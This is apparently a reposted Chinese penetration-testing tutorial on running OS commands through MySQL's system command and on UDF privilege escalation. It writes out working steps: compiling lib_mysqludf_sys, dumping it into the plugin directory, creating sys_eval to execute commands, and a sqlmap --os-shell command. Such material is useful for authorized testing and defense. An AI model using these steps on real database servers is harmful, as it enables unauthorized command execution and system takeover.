1. 程式人生 > >MySQL的system命令在滲透測試中的使用以及UDF提權

MySQL的system命令在滲透測試中的使用以及UDF提權

style data erro 重新 pos empty linux類 directory 意思

一、MySQL中的system命令

在MySQL 5.x中增加了system命令,簡單的符號是\!,從而使MySQL可以執行系統的命令

1 mysql> system echo "12345"
2 12345

技術分享圖片

因為突發奇想,可以使用這個辦法反彈shell

技術分享圖片

結果OK:

技術分享圖片

嘗試和select拼接執行,這樣是成功的

技術分享圖片

想到這裏其實可以拼接在SQL註入語句中執行OS命令,或者能連上MySQL之後直接執行OS命令反彈shell。

二、MySQL UDF提權

這裏按照linux類操作系統舉例了,服務器端用windows真的沒意思了,雖然還有很多。https://github.com/mysqludf/lib_mysqludf_sys解壓後進入(git clone後直接進入)目錄:

1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果遇到報錯:

1 In file included from lib_mysqludf_sys.c:40:
2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

可以做如下修改:修改/usr/include/mysql/my_global.h文件,註釋626行後重新編譯。並使用Hex.hta獲取16進制。

 1 mysql> show variables like %plugin%;
 2 +---------------+-------------------------+
 3 | Variable_name | Value                   |
 4 +---------------+-------------------------+
 5 | plugin_dir    | /usr/lib64/mysql/plugin |
 6 +---------------+-------------------------+
 7 1 row in set (0.00 sec)
8 9 mysql> select * from func; #檢查是否已經有人導出過了 10 mysql> select unhex(hexcode) into dumpfile /usr/lib64/mysql/plugin/mysqludf.so; 11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目錄的寫入權限 12 13 mysql> create function sys_eval returns string soname mysqludf.so; 14 Query OK, 0 rows affected (0.00 sec) 15 16 mysql> select sys_eval(whoami); 17 +--------------------+ 18 | sys_eval(whoami) | 19 +--------------------+ 20 | mysql 21 | 22 +--------------------+ 23 1 row in set (0.03 sec) 24 25 mysql> select * from func; 26 +----------+-----+-------------+----------+ 27 | name | ret | dl | type | 28 +----------+-----+-------------+----------+ 29 | sys_eval | 0 | mysqludf.so | function | 30 +----------+-----+-------------+----------+ 31 1 row in set (0.00 sec) 32 33 mysql> drop function sys_eval; 34 Query OK, 0 rows affected (0.00 sec) 35 36 mysql> select * from func; 37 Empty set (0.00 sec)

或者使用sqlmap 執行提權:

1 #sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell
2 #test的地方是database name

MySQL的system命令在滲透測試中的使用以及UDF提權